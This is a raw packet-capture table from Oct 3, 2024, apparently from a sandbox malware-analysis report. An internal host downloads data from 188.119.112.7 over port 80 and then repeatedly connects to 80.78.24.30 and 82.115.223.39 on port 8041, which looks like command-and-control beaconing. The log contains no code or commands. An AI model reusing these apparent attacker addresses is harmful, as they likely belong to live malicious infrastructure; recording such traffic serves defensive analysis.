Oct 3, 2024 20:42:02.722532034 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.722537041 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.722548008 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.722562075 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.722563028 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.722579956 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.722588062 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.722595930 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.722610950 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.722615004 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.722629070 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.722641945 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.722651958 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.722678900 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.723177910 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.763767958 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.763794899 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.763811111 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.763825893 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.763842106 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.763860941 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.763883114 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.764055014 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.764055014 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.804097891 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.804147005 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.804153919 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.804162025 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.804169893 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.804177999 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.804186106 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.804337025 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.804352999 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.804368973 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.804383993 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.804402113 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.804418087 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.804466963 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.804702044 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.804824114 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.804857969 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.804872036 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.804976940 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.805027008 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.805062056 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.805073023 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.805095911 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.805105925 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.805129051 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.805161953 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.805196047 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.805202007 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.805244923 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.805308104 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.805341959 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.805375099 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.805408001 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.805423021 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.805440903 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.805448055 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.805474043 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.805506945 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.805509090 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.805630922 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.805663109 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.805674076 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.805696011 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.805727959 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.805735111 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.805769920 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.805802107 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.805809975 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.805835009 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.805872917 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.806101084 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.806133032 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.806165934 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.806174040 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.806199074 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.806231022 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.806237936 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.806263924 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.806297064 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.806303978 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.806329012 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.806361914 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.806369066 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.806395054 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.806427956 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.806432962 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.806682110 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.806715012 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.806725979 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.806749105 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.806777000 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.806790113 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.806809902 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.806843996 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.806850910 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.806881905 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.806921959 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.807151079 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.807183981 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.807215929 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.807224989 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.807249069 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.807281017 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.807290077 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.807312965 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.807346106 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.807351112 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.807379007 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.807424068 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.807435036 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.807466984 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.807499886 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.807507038 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.807533026 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.807565928 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.807571888 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.807599068 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.807631969 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.807642937 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.807665110 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.807698011 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.807703018 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.808125973 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.808161020 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.808173895 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.808192968 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.808226109 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.808238983 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.808257103 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.808290005 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.808298111 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.808324099 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.808357000 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.808363914 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.808391094 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.808423996 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.808433056 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.808456898 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.808490038 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.808495998 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.808523893 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.808562994 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.808567047 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.808595896 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.808638096 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.808852911 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.808887959 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.808919907 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.808931112 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.808953047 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.808985949 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.808998108 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.809020996 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.809053898 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.809062004 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.809087038 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.809118986 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.809123993 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.809151888 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.809186935 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.809190989 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.809216976 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.809556961 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.809591055 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.809602976 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.809623957 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.809655905 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.809662104 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.809689045 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.809720039 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.809726000 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.809752941 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.809786081 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.809792042 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.809818029 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.809850931 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.809859991 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.809885979 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.809920073 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.809925079 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.850471020 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.850490093 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.850507021 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.850655079 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.850778103 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.850802898 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.850831032 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.850847960 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.850867033 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.850918055 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.891381979 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.891484976 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.891520023 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.891552925 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.891592979 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.891603947 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.891637087 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.891644001 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.891678095 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.891689062 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.891706944 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.891740084 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.891762018 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.891789913 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.891822100 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.891854048 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.891855001 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.891887903 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.891906977 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.891935110 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.891968012 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.891983986 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.892000914 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.892040014 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.892052889 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.892071962 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.892103910 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.892122030 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.892136097 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.892168045 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.892180920 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.892201900 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.892235041 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.892254114 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.892268896 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.892318964 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.892493010 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.892524958 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.892559052 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.892575979 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.892590046 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.892622948 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.892638922 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.892654896 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.892689943 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.892713070 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.892798901 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.892831087 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.892855883 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.944454908 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:06.977638006 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:06.977758884 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:06.977890968 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:06.982628107 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:08.224644899 CEST	49705	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:08.229882956 CEST	8041	49705	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:08.229979038 CEST	49705	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:08.250796080 CEST	49705	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:08.256164074 CEST	8041	49705	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:08.851995945 CEST	8041	49705	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:08.852060080 CEST	8041	49705	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:08.852099895 CEST	49705	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:08.852133036 CEST	49705	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:08.853204012 CEST	49705	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:08.857642889 CEST	49706	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:08.858087063 CEST	8041	49705	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:08.862549067 CEST	8041	49706	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:08.862647057 CEST	49706	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:08.863010883 CEST	49706	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:08.867938995 CEST	8041	49706	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:09.497184992 CEST	8041	49706	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:09.497262001 CEST	49706	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:09.497525930 CEST	8041	49706	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:09.497586012 CEST	49706	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:09.497783899 CEST	49706	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:09.503317118 CEST	49707	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:09.508716106 CEST	8041	49706	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:09.514611959 CEST	8041	49707	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:09.514786005 CEST	49707	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:09.515000105 CEST	49707	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:09.520101070 CEST	8041	49707	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:09.520227909 CEST	49707	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:14.868797064 CEST	49708	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:14.873714924 CEST	8041	49708	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:14.873816967 CEST	49708	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:14.874176025 CEST	49708	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:14.878941059 CEST	8041	49708	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:15.508426905 CEST	8041	49708	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:15.508486986 CEST	8041	49708	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:15.508524895 CEST	8041	49708	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:15.508598089 CEST	49708	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:15.508631945 CEST	49708	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:15.554182053 CEST	49708	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:15.559288025 CEST	8041	49708	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:15.730331898 CEST	8041	49708	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:15.730420113 CEST	49708	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:15.751966000 CEST	49708	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:15.757112026 CEST	8041	49708	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:15.962589979 CEST	8041	49708	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:15.962790966 CEST	49708	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:16.027926922 CEST	49709	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:16.033003092 CEST	8041	49709	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:16.033179045 CEST	49709	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:16.033691883 CEST	49709	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:16.038547039 CEST	8041	49709	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:16.653912067 CEST	8041	49709	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:16.654114962 CEST	8041	49709	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:16.654154062 CEST	49709	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:16.654186010 CEST	49709	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:16.654676914 CEST	49709	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:16.655150890 CEST	49710	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:16.659555912 CEST	8041	49709	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:16.659998894 CEST	8041	49710	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:16.660088062 CEST	49710	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:16.660490036 CEST	49710	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:16.665250063 CEST	8041	49710	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:17.315656900 CEST	8041	49710	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:17.315778971 CEST	49710	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:17.315845013 CEST	8041	49710	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:17.315890074 CEST	49710	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:17.316016912 CEST	49710	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:17.316402912 CEST	49712	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:17.320810080 CEST	8041	49710	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:17.321264982 CEST	8041	49712	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:17.321356058 CEST	49712	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:17.321547031 CEST	49712	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:17.326622009 CEST	8041	49712	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:17.326677084 CEST	49712	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:19.437433004 CEST	49723	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:19.442433119 CEST	8041	49723	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:19.442554951 CEST	49723	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:19.444001913 CEST	49723	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:19.448875904 CEST	8041	49723	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:20.085249901 CEST	8041	49723	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:20.085356951 CEST	49723	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:42:20.085505962 CEST	8041	49723	80.78.24.30	192.168.2.5
Oct 3, 2024 20:42:20.085586071 CEST	49723	8041	192.168.2.5	80.78.24.30
